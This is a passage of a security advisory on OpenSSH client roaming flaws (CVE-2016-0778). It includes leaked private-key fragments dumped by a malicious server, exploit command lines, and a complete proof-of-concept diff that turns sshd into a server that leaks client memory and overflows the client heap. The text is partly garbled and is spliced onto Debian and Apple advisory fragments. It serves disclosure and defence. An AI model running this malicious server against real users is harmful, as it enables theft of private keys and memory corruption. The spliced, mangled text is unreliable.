yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxS

strings /tmp/roaming-9be933df/infoleak

QRtzK/GpRuMC1 C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT

strings /tmp/roaming-ee4d1e6c/infoleak

SG3aTqYp tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s

strings /tmp/roaming-c2bfd69c/infoleak

SG3aTqYp 6JmTOun5zVV6A H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s

strings /tmp/roaming-2b3217a1/infoleak

DGLfFGdO r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ

strings /tmp/roaming-1e275747/infoleak

g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+

======================================================================== Buffer Overflow (CVE-2016-0778) ========================================================================


Analysis

Support for roaming was elegantly added to the OpenSSH client: the calls to read() and write() that communicate with the SSH server were replaced by calls to roaming_read() and roaming_write(), two wrappers that depend on wait_for_roaming_reconnect() to transparently reconnect to the server after a disconnection. The wait_for_roaming_reconnect() routine is essentially a sequence of four subroutines:

239 int 240 wait_for_roaming_reconnect(void) 241 { ... 250 fprintf(stderr, "[connection suspended, press return to resume]"); ... 252 packet_backup_state(); 253 / TODO Perhaps we should read from tty here / 254 while ((c = fgetc(stdin)) != EOF) { ... 259 if (c != '\n' && c != '\r') 260 continue; 261 262 if (ssh_connect(host, &hostaddr, options.port, ... 265 options.proxy_command) == 0 && roaming_resume() == 0) { 266 packet_restore_state(); ... 268 fprintf(stderr, "[connection resumed]\n"); ... 270 return 0; 271 } 272 273 fprintf(stderr, "[reconnect failed, press return to retry]"); ... 275 } 276 fprintf(stderr, "[exiting]\n"); ... 278 exit(0); 279 }

  1. packet_backup_state() close()s connection_in and connection_out (the old file descriptors that connected the client to the server), and saves the state of the suspended SSH session (for example, the encryption and decryption contexts).

  2. ssh_connect() opens new file descriptors, and connects them to the SSH server.

  3. roaming_resume() negotiates the resumption of the suspended SSH session with the server, and calls resend_bytes().

  4. packet_restore_state() updates connection_in and connection_out (with the new file descriptors that connect the client to the server), and restores the state of the suspended SSH session.

The new file descriptors for connection_in and connection_out may differ from the old ones (if, for example, files or pipes or sockets are opened or closed between two successive ssh_connect() calls), but unfortunately historical code in OpenSSH assumes that they are constant:

  • In client_loop(), the variables connection_in and connection_out are cached locally, but packet_write_poll() calls roaming_write(), which may assign new values to connection_in and connection_out (if a reconnection occurs), and client_wait_until_can_do_something() subsequently reuses the old, cached values.

  • client_loop() eventually updates these cached values, and the following FD_ISSET() uses a new, updated file descriptor (the fd connection_out), but an old, out-of-date file descriptor set (the fd_set writeset).

  • packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API) first calloc()ates setp, a file descriptor set for connection_in; next, it loops around memset(), FD_SET(), select() and roaming_read(); last, it free()s setp and returns. Unfortunately, roaming_read() may reassign a higher value to connection_in (if a reconnection occurs), but setp is never enlarged, and the following memset() and FD_SET() may therefore overflow setp (a heap-based buffer overflow):

1048 int 1049 packet_read_seqnr(u_int32_t seqnr_p) 1050 { .... 1052 fd_set setp; .... 1058 setp = (fd_set )xcalloc(howmany(active_state->connection_in + 1, 1059 NFDBITS), sizeof(fd_mask)); .... 1065 for (;;) { .... 1075 if (type != SSH_MSG_NONE) { 1076 free(setp); 1077 return type; 1078 } .... 1083 memset(setp, 0, howmany(active_state->connection_in + 1, 1084 NFDBITS) * sizeof(fd_mask)); 1085 FD_SET(active_state->connection_in, setp); .... 1092 for (;;) { .... 1097 if ((ret = select(active_state->connection_in + 1, setp, 1098 NULL, NULL, timeoutp)) >= 0) 1099 break; .... 1115 } .... 1117 do { .... 1119 len = roaming_read(active_state->connection_in, buf, 1120 sizeof(buf), &cont); 1121 } while (len == 0 && cont); .... 1130 } 1131 / NOTREACHED */ 1132 }

  • packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is basically similar to packet_read_seqnr() and may overflow its own setp if roaming_write() (called by packet_write_poll()) reassigns a higher value to connection_out (after a successful reconnection):

1739 void 1740 packet_write_wait(void) 1741 { 1742 fd_set setp; .... 1746 setp = (fd_set )xcalloc(howmany(active_state->connection_out + 1, 1747 NFDBITS), sizeof(fd_mask)); 1748 packet_write_poll(); 1749 while (packet_have_data_to_write()) { 1750 memset(setp, 0, howmany(active_state->connection_out + 1, 1751 NFDBITS) * sizeof(fd_mask)); 1752 FD_SET(active_state->connection_out, setp); .... 1758 for (;;) { .... 1763 if ((ret = select(active_state->connection_out + 1, 1764 NULL, setp, NULL, timeoutp)) >= 0) 1765 break; .... 1776 } .... 1782 packet_write_poll(); 1783 } 1784 free(setp); 1785 }


Mitigating Factors

This buffer overflow affects all OpenSSH clients >= 5.4, but its impact is significantly reduced by the Mitigating Factors detailed in the Information Leak section, and additionally:

  • OpenSSH versions >= 6.8 reimplement packet_backup_state() and packet_restore_state(), but introduce a bug that prevents the buffer overflow from being exploited; indeed, ssh_packet_backup_state() swaps two local pointers, ssh and backup_state, instead of swapping the two global pointers active_state and backup_state:

9 struct ssh active_state, backup_state; ... 238 void 239 packet_backup_state(void) 240 { 241 ssh_packet_backup_state(active_state, backup_state); 242 } 243 244 void 245 packet_restore_state(void) 246 { 247 ssh_packet_restore_state(active_state, backup_state); 248 }

2269 void 2270 ssh_packet_backup_state(struct ssh ssh, 2271 struct ssh backup_state) 2272 { 2273 struct ssh tmp; .... 2279 if (backup_state) 2280 tmp = backup_state; 2281 else 2282 tmp = ssh_alloc_session_state(); 2283 backup_state = ssh; 2284 ssh = tmp; 2285 } .... 2291 void 2292 ssh_packet_restore_state(struct ssh ssh, 2293 struct ssh backup_state) 2294 { 2295 struct ssh tmp; .... 2299 tmp = backup_state; 2300 backup_state = ssh; 2301 ssh = tmp; 2302 ssh->state->connection_in = backup_state->state->connection_in;

As a result, the global pointer backup_state is still NULL when passed to ssh_packet_restore_state(), and crashes the OpenSSH client when dereferenced:

env ROAMING="overflow:A fd_leaks:0" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 15 %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Segmentation fault (core dumped)

This bug prevents the buffer overflow from being exploited, but not the information leak, because the vulnerable function resend_bytes() is called before ssh_packet_restore_state() crashes.


File Descriptor Leak

A back-of-the-envelope calculation indicates that, in order to increase the file descriptor connection_in or connection_out, and thus overflow the file descriptor set setp in packet_read_seqnr() or packet_write_wait(), a file descriptor leak is needed:

  • First, the number of bytes calloc()ated for setp is rounded up to the nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors) on 64-bit systems.

  • Next, in glibc, this number is rounded up to the nearest multiple of MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit systems.

  • Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit systems, of which 24 bytes (or 192 file descriptors) are reserved for setp.

  • In conclusion, a file descriptor leak is needed, because connection_in or connection_out has to be increased by hundreds in order to overflow setp.

The search for a suitable file descriptor leak begins with a study of the behavior of the four ssh_connect() methods, when called for a reconnection by wait_for_roaming_reconnect():

  1. The default method ssh_connect_direct() communicates with the server through a simple TCP socket: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor.

In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old TCP socket is close()d by packet_backup_state(), but immediately reused for the new TCP socket in ssh_connect_direct(): the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp.

  1. The special ProxyCommand "-" communicates with the server through stdin and stdout, but (as explained in the Mitigating Factors of the Information Leak section) it cannot possibly reconnect to the server, and is therefore immune to this buffer overflow.

  2. Surprisingly, we discovered a file descriptor leak in the ssh_proxy_fdpass_connect() method itself; indeed, the file descriptor sp[1] is never close()d:

101 static int 102 ssh_proxy_fdpass_connect(const char host, u_short port, 103 const char proxy_command) 104 { ... 106 int sp[2], sock; ... 113 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) < 0) 114 fatal("Could not create socketpair to communicate with " 115 "proxy dialer: %.100s", strerror(errno)); ... 161 close(sp[0]); ... 164 if ((sock = mm_receive_fd(sp[1])) == -1) 165 fatal("proxy dialer did not pass back a connection"); ... 171 / Set the connection file descriptors. / 172 packet_set_connection(sock, sock); 173 174 return 0; 175 }

However, two different reasons prevent this file descriptor leak from triggering the setp overflow:

  • The method ssh_proxy_fdpass_connect() communicates with the server through a single socket received from the ProxyCommand: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor.

In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old socket is close()d by packet_backup_state(), reused for sp[0] in ssh_proxy_fdpass_connect(), close()d again, and eventually reused again for the new socket: the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp.

  • Because of the waitpid() bug described in the Mitigating Factors of the Information Leak section, the method ssh_proxy_fdpass_connect() calls fatal() before it returns to wait_for_roaming_reconnect(), and is therefore immune to this buffer overflow.

  • The method ssh_proxy_connect() communicates with the server through a ProxyCommand and two different pipes: the file descriptor connection_in is the read end of the second pipe (pout[0]), and the file descriptor connection_out is the write end of the first pipe (pin[1]):

180 static int 181 ssh_proxy_connect(const char host, u_short port, const char proxy_command) 182 { ... 184 int pin[2], pout[2]; ... 192 if (pipe(pin) < 0 || pipe(pout) < 0) 193 fatal("Could not create pipes to communicate with the proxy: %.100s", 194 strerror(errno)); ... 240 / Close child side of the descriptors. / 241 close(pin[0]); 242 close(pout[1]); ... 247 / Set the connection file descriptors. / 248 packet_set_connection(pout[0], pin[1]); 249 250 / Indicate OK return / 251 return 0; 252 }

In wait_for_roaming_reconnect(), the two old, low-numbered file descriptors connection_in and connection_out are both close()d by packet_backup_state(), and immediately reused for the pipe(pin) in ssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of these old, low-numbered file descriptors, and cannot possibly overflow setp.

On the other hand, the pipe(pout) in ssh_proxy_connect() may return high-numbered file descriptors, and the new connection_in (pout[0]) may therefore overflow setp, if hundreds of file descriptors were leaked before the call to wait_for_roaming_reconnect():

  • We discovered a file descriptor leak in the pubkey_prepare() function of OpenSSH >= 6.8; indeed, if the client is running an authentication agent that does not offer any private keys, the reference to agent_fd is lost, and this file descriptor is never close()d:

1194 static void 1195 pubkey_prepare(Authctxt *authctxt) 1196 { .... 1200 int agent_fd, i, r, found; .... 1247 if ((r = ssh_get_authentication_socket(&agent_fd)) != 0) { 1248 if (r != SSH_ERR_AGENT_NOT_PRESENT) 1249 debug("%s: ssh_get_authentication_socket: %s", 1250 func, ssh_err(r)); 1251 } else if ((r = ssh_fetch_identitylist(agent_fd, 2, &idlist)) != 0) { 1252 if (r != SSH_ERR_AGENT_NO_IDENTITIES) 1253 debug("%s: ssh_fetch_identitylist: %s", 1254 func, ssh_err(r)); 1255 } else { .... 1288 authctxt->agent_fd = agent_fd; 1289 } .... 1299 }

However, OpenSSH clients >= 6.8 crash in ssh_packet_restore_state() (because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section) and are immune to the setp overflow, despite this agent_fd leak.

  • If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH client (it is disabled by default), a malicious SSH server can request hundreds of forwardings, in order to increase connection_in (each forwarding opens a file descriptor), and thus overflow setp in packet_read_seqnr():

env ROAMING="overflow:A" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] *** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007f0474d03e70 *** Aborted (core dumped)

env ROAMING="overflow:X" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/ssh -X -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] *** Error in /usr/bin/ssh': free(): invalid next size (fast): 0x00007fdcc2a3aba0 *** *** Error in/usr/bin/ssh': malloc(): memory corruption: 0x00007fdcc2a3abc0 ***

Finally, a brief digression on two unexpected problems that had to be solved in our proof-of-concept:

  • First, setp can be overflowed only in packet_read_seqnr(), not in packet_write_wait(), but agent forwarding and X11 forwarding are post- authentication functionalities, and post-authentication calls to packet_read() or packet_read_expect() are scarce, except in the key-exchange code of OpenSSH clients < 6.8: our proof-of-concept effectively forces a rekeying in order to overflow setp in packet_read_seqnr().

  • Second, after a successful reconnection, packet_read_seqnr() may call fatal("Read from socket failed: %.100s", ...), because roaming_read() may return EAGAIN (EAGAIN is never returned without the reconnection, because the preceding call to select() guarantees that connection_in is ready for read()). Our proof-of-concept works around this problem by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server, allowing data to reach the client before roaming_read() is called, thus avoiding EAGAIN.

======================================================================== Acknowledgments ========================================================================

We would like to thank the OpenSSH developers for their great work and their incredibly quick response, Red Hat Product Security for promptly assigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall Project for the interesting discussions.

======================================================================== Proof Of Concept ========================================================================

diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c --- openssh-6.4p1/auth2-pubkey.c 2013-07-17 23:10:10.000000000 -0700 +++ openssh-6.4p1+roaming/auth2-pubkey.c 2016-01-07 01:04:15.000000000 -0800 @@ -169,7 +169,9 @@ userauth_pubkey(Authctxt authctxt) * if a user is not allowed to login. is this an * issue? -markus / - if (PRIVSEP(user_key_allowed(authctxt->pw, key))) { + if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) { + debug("%s: force client-side load_identity_file", + func); packet_start(SSH2_MSG_USERAUTH_PK_OK); packet_put_string(pkalg, alen); packet_put_string(pkblob, blen); diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c --- openssh-6.4p1/kex.c 2013-06-01 14:31:18.000000000 -0700 +++ openssh-6.4p1+roaming/kex.c 2016-01-07 01:04:15.000000000 -0800 @@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX], }

static void +roaming_reconnect(void) +{ + packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME); + const u_int id = packet_get_int(); / roaming_id / + debug("%s: id %u", func, id); + packet_check_eom(); + + const char const dir = get_roaming_dir(id); + debug("%s: dir %s", func, dir); + const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", func, dir, errno); + if (fchdir(fd) != 0) + fatal("%s: fchdir %s errno %d", func, dir, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, dir, errno); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED); + packet_put_int64(arc4random()); / chall / + packet_put_int64(arc4random()); / oldchall / + packet_send(); + + packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH); + const u_int64_t client_read_bytes = packet_get_int64(); + debug("%s: client_read_bytes %llu", func, + (unsigned long long)client_read_bytes); + packet_get_int64(); / digest (1-8) / + packet_get_int64(); / digest (9-16) / + packet_get_int(); / digest (17-20) / + packet_check_eom(); + + u_int64_t client_write_bytes; + size_t len = sizeof(client_write_bytes); + load_roaming_file("client_write_bytes", &client_write_bytes, &len); + debug("%s: client_write_bytes %llu", func, + (unsigned long long)client_write_bytes); + + u_int client_out_buf_size; + len = sizeof(client_out_buf_size); + load_roaming_file("client_out_buf_size", &client_out_buf_size, &len); + debug("%s: client_out_buf_size %u", func, client_out_buf_size); + if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF) + fatal("%s: client_out_buf_size %u", func, + client_out_buf_size); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK); + packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size); + packet_send(); + const int overflow = (access("output", F_OK) == 0); + if (overflow != 0) { + const void const ptr = load_roaming_file("output", NULL, &len); + buffer_append(packet_get_output(), ptr, len); + } + packet_write_wait(); + + char const client_out_buf = xmalloc(client_out_buf_size); + if (atomicio(read, packet_get_connection_in(), client_out_buf, + client_out_buf_size) != client_out_buf_size) + fatal("%s: read client_out_buf_size %u errno %d", func, + client_out_buf_size, errno); + if (overflow == 0) + dump_roaming_file("infoleak", client_out_buf, + client_out_buf_size); + fatal("%s: all done for %s", func, dir); +} + +static void kex_choose_conf(Kex kex) { Newkeys newkeys; @@ -470,6 +537,10 @@ kex_choose_conf(Kex kex) kex->roaming = 1; free(roaming); } + } else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) { + roaming_reconnect(); + / NOTREACHED / + fatal("%s: returned from %s", func, KEX_RESUME); }

/* Algorithm Negotiation */

diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h --- openssh-6.4p1/roaming.h 2011-12-18 15:52:52.000000000 -0800 +++ openssh-6.4p1+roaming/roaming.h 2016-01-07 01:04:15.000000000 -0800 @@ -42,4 +42,86 @@ void resend_bytes(int, u_int64_t ); void calculate_new_key(u_int64_t , u_int64_t, u_int64_t); int resume_kex(void);

+#include +#include +#include +#include +#include +#include + +#include "atomicio.h" +#include "log.h" +#include "xmalloc.h" + +static inline char * +get_roaming_dir(const u_int id) +{ + const size_t buflen = MAXPATHLEN; + char const buf = xmalloc(buflen); + + if ((u_int)snprintf(buf, buflen, "/tmp/roaming-%08x", id) >= buflen) + fatal("%s: snprintf %u error", func, id); + return buf; +} + +static inline void +dump_roaming_file(const char const name, + const void const buf, const size_t buflen) +{ + if (name == NULL) + fatal("%s: name %p", func, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", func, name); + if (buf == NULL) + fatal("%s: %s buf %p", func, name, buf); + if (buflen <= 0 || buflen > MAX_ROAMBUF) + fatal("%s: %s buflen %lu", func, name, (u_long)buflen); + + const int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR); + if (fd <= -1) + fatal("%s: open %s errno %d", func, name, errno); + if (write(fd, buf, buflen) != (ssize_t)buflen) + fatal("%s: write %s errno %d", func, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, name, errno); +} + +static inline void * +load_roaming_file(const char const name, + void buf, size_t const buflenp) +{ + if (name == NULL) + fatal("%s: name %p", func, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", func, name); + if (buflenp == NULL) + fatal("%s: %s buflenp %p", func, name, buflenp); + + const int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", func, name, errno); + struct stat st; + if (fstat(fd, &st) != 0) + fatal("%s: fstat %s errno %d", func, name, errno); + if (S_ISREG(st.st_mode) == 0) + fatal("%s: %s mode 0%o", func, name, (u_int)st.st_mode); + if (st.st_size <= 0 || st.st_size > MAX_ROAMBUF) + fatal("%s: %s size %lld", func, name, + (long long)st.st_size); + + if (buf == NULL) { + buflenp = st.st_size; + buf = xmalloc(buflenp); + } else { + if (buflenp != (size_t)st.st_size) + fatal("%s: %s size %lld buflen %lu", func, name, + (long long)st.st_size, (u_long)buflenp); + } + if (read(fd, buf, buflenp) != (ssize_t)buflenp) + fatal("%s: read %s errno %d", func, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, name, errno); + return buf; +} + #endif / ROAMING / diff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c --- openssh-6.4p1/serverloop.c 2013-07-17 23:12:45.000000000 -0700 +++ openssh-6.4p1+roaming/serverloop.c 2016-01-07 01:04:15.000000000 -0800 @@ -1060,6 +1060,9 @@ server_request_session(void) return c; }

+static int client_session_channel = -1; +static int server_session_channel = -1; + static void server_input_channel_open(int type, u_int32_t seq, void ctxt) { @@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in c->remote_window = rwindow; c->remote_maxpacket = rmaxpack; if (c->type != SSH_CHANNEL_CONNECTING) { + debug("%s: avoid client-side buf_append", func); + / packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); packet_put_int(c->remote_id); packet_put_int(c->self); packet_put_int(c->local_window); packet_put_int(c->local_maxpacket); packet_send(); + */ + if (strcmp(ctype, "session") == 0) { + if (client_session_channel != -1) + fatal("%s: client_session_channel %d", + func, client_session_channel); + client_session_channel = c->remote_id; + server_session_channel = c->self; + } } } else { debug("server_input_channel_open: failure %s", ctype); @@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in }

static void +roaming_disconnect(Kex const kex) +{ + const char cp, roaming = getenv("ROAMING"); + if (roaming == NULL) + roaming = "infoleak"; + int overflow = 0; + if ((cp = strstr(roaming, "overflow:")) != NULL) + overflow = cp[9]; + + const u_int client_recv_buf_size = packet_get_int(); + packet_check_eom(); + const u_int server_recv_buf_size = get_recv_buf_size(); + const u_int server_send_buf_size = get_snd_buf_size(); + debug("%s: client_recv_buf_size %u", func, client_recv_buf_size); + debug("%s: server_recv_buf_size %u", func, server_recv_buf_size); + debug("%s: server_send_buf_size %u", func, server_send_buf_size); + + u_int client_send_buf_size = 0; + if ((cp = strstr(roaming, "client_send_buf_size:")) != NULL) + client_send_buf_size = strtoul(cp + 21, NULL, 0); + else if (client_recv_buf_size == DEFAULT_ROAMBUF) + client_send_buf_size = DEFAULT_ROAMBUF; + else { + const u_int + max = MAX(client_recv_buf_size, server_recv_buf_size), + min = MIN(client_recv_buf_size, server_recv_buf_size); + if (min <= 0) + fatal("%s: min %u", func, min); + if (((u_int64_t)(max - min) * 1024) / min < 1) + client_send_buf_size = server_send_buf_size; + else + client_send_buf_size = client_recv_buf_size; + } + debug("%s: client_send_buf_size %u", func, client_send_buf_size); + if (client_send_buf_size <= 0) + fatal("%s: client_send_buf_size", func); + + u_int id = 0; + char dir = NULL; + for (;;) { + id = arc4random(); + debug("%s: id %u", func, id); + free(dir); + dir = get_roaming_dir(id); + if (mkdir(dir, S_IRWXU) == 0) + break; + if (errno != EEXIST) + fatal("%s: mkdir %s errno %d", func, dir, errno); + } + debug("%s: dir %s", func, dir); + if (chdir(dir) != 0) + fatal("%s: chdir %s errno %d", func, dir, errno); + + u_int client_out_buf_size = 0; + if ((cp = strstr(roaming, "client_out_buf_size:")) != NULL) + client_out_buf_size = strtoul(cp + 20, NULL, 0); + else if (overflow != 0) + client_out_buf_size = MAX_ROAMBUF; + else + client_out_buf_size = 1 + arc4random() % 4096; + debug("%s: client_out_buf_size %u", func, client_out_buf_size); + if (client_out_buf_size <= 0) + fatal("%s: client_out_buf_size", func); + dump_roaming_file("client_out_buf_size", &client_out_buf_size, + sizeof(client_out_buf_size)); + + if ((cp = strstr(roaming, "scp_mode")) != NULL) { + if (overflow != 0) + fatal("%s: scp_mode is incompatible with overflow %d", + func, overflow); + + u_int seconds_left_to_sleep = 3; + if ((cp = strstr(cp, "sleep:")) != NULL) + seconds_left_to_sleep = strtoul(cp + 6, NULL, 0); + debug("%s: sleep %u", func, seconds_left_to_sleep); + + if (client_session_channel == -1) + fatal("%s: client_session_channel %d", + func, client_session_channel); + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(client_session_channel); + packet_put_int(server_session_channel); + packet_put_int(0); / server window / + packet_put_int(0); / server maxpacket / + packet_send(); + + packet_start(SSH2_MSG_CHANNEL_DATA); + packet_put_int(client_session_channel); + packet_put_string("\0\n", 2); / response&source|sink&run_err / + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_REQUEST); + packet_get_int(); / server channel / + debug("%s: channel request %s", func, + packet_get_cstring(NULL)); + + while (seconds_left_to_sleep) + seconds_left_to_sleep = sleep(seconds_left_to_sleep); + } + + packet_start(SSH2_MSG_REQUEST_SUCCESS); + packet_put_int(id); / roaming_id / + packet_put_int64(arc4random()); / cookie / + packet_put_int64(0); / key1 / + packet_put_int64(0); / key2 / + packet_put_int(client_out_buf_size - client_send_buf_size); + packet_send(); + packet_write_wait(); + + if (overflow != 0) { + const u_int64_t full_client_out_buf = get_recv_bytes() + + client_out_buf_size; + + u_int fd_leaks = 4 * 8 * 8; / MIN_CHUNK_SIZE in bits / + if ((cp = strstr(roaming, "fd_leaks:")) != NULL) + fd_leaks = strtoul(cp + 9, NULL, 0); + debug("%s: fd_leaks %u", func, fd_leaks); + + while (fd_leaks--) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring(overflow == 'X' ? "x11" : + "auth-agent@openssh.com"); / ctype / + packet_put_int(arc4random()); / server channel / + packet_put_int(arc4random()); / server window / + packet_put_int(arc4random()); / server maxpacket / + if (overflow == 'X') { + packet_put_cstring(""); / originator / + packet_put_int(arc4random()); / port / + } + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_get_int(); / server channel / + packet_get_int(); / client channel / + packet_get_int(); / client window / + packet_get_int(); / client maxpacket / + packet_check_eom(); + } + + while (get_recv_bytes() <= full_client_out_buf) { + packet_start(SSH2_MSG_GLOBAL_REQUEST); + packet_put_cstring(""); / rtype / + packet_put_char(1); / want_reply / + packet_send(); + + packet_read_expect(SSH2_MSG_REQUEST_FAILURE); + packet_check_eom(); + } + + if (kex == NULL) + fatal("%s: no kex, cannot rekey", func); + if (kex->flags & KEX_INIT_SENT) + fatal("%s: KEX_INIT_SENT already", func); + char const ptr = buffer_ptr(&kex->my); + const u_int len = buffer_len(&kex->my); + if (len <= 1+4) / first_kex_follows + reserved / + fatal("%s: kex len %u", func, len); + ptr[len - (1+4)] = 1; / first_kex_follows / + kex_send_kexinit(kex); + + u_int i; + packet_read_expect(SSH2_MSG_KEXINIT); + for (i = 0; i < KEX_COOKIE_LEN; i++) + packet_get_char(); + for (i = 0; i < PROPOSAL_MAX; i++) + free(packet_get_string(NULL)); + packet_get_char(); / first_kex_follows / + packet_get_int(); / reserved / + packet_check_eom(); + + char buf[81922]; / two packet_read_seqnr bufferfuls / + memset(buf, '\0', sizeof(buf)); + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL); + packet_put_string(buf, sizeof(buf)); + packet_send(); + const Buffer const output = packet_get_output(); + dump_roaming_file("output", buffer_ptr(output), + buffer_len(output)); + } + + const u_int64_t client_write_bytes = get_recv_bytes(); + debug("%s: client_write_bytes %llu", func, + (unsigned long long)client_write_bytes); + dump_roaming_file("client_write_bytes", &client_write_bytes, + sizeof(client_write_bytes)); + fatal("%s: all done for %s", func, dir); +} + +static void server_input_global_request(int type, u_int32_t seq, void ctxt) { char rtype; @@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_ } else if (strcmp(rtype, "no-more-sessions@openssh.com") == 0) { no_more_sessions = 1; success = 1; + } else if (strcmp(rtype, ROAMING_REQUEST) == 0) { + if (want_reply != 1) + fatal("%s: rtype %s want_reply %d", func, + rtype, want_reply); + roaming_disconnect(ctxt); + / NOTREACHED */ + fatal("%s: returned from %s", func, ROAMING_REQUEST); } if (want_reply) { packet_start(success ? diff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c --- openssh-6.4p1/sshd.c 2013-07-19 20:21:53.000000000 -0700 +++ openssh-6.4p1+roaming/sshd.c 2016-01-07 01:04:15.000000000 -0800 @@ -2432,6 +2432,8 @@ do_ssh2_kex(void) } if (options.kex_algorithms != NULL) myproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms; + else + myproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX "," KEX_RESUME;

if (options.rekey_limit || options.rekey_interval)
    packet_set_rekey_limits((u_int32_t)options.rekey_limit,

.

More details about identifying an attack and mitigations will be available in the Qualys Security Advisory.

For the oldstable distribution (wheezy), these problems have been fixed in version 1:6.0p1-4+deb7u3.

For the stable distribution (jessie), these problems have been fixed in version 1:6.7p1-5+deb8u1.

For the testing distribution (stretch) and unstable distribution (sid), these problems will be fixed in a later version. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512

APPLE-SA-2016-03-21-5 OS X El Capitan 10.11.4 and Security Update 2016-002

OS X El Capitan 10.11.4 and Security Update 2016-002 is now available and addresses the following:

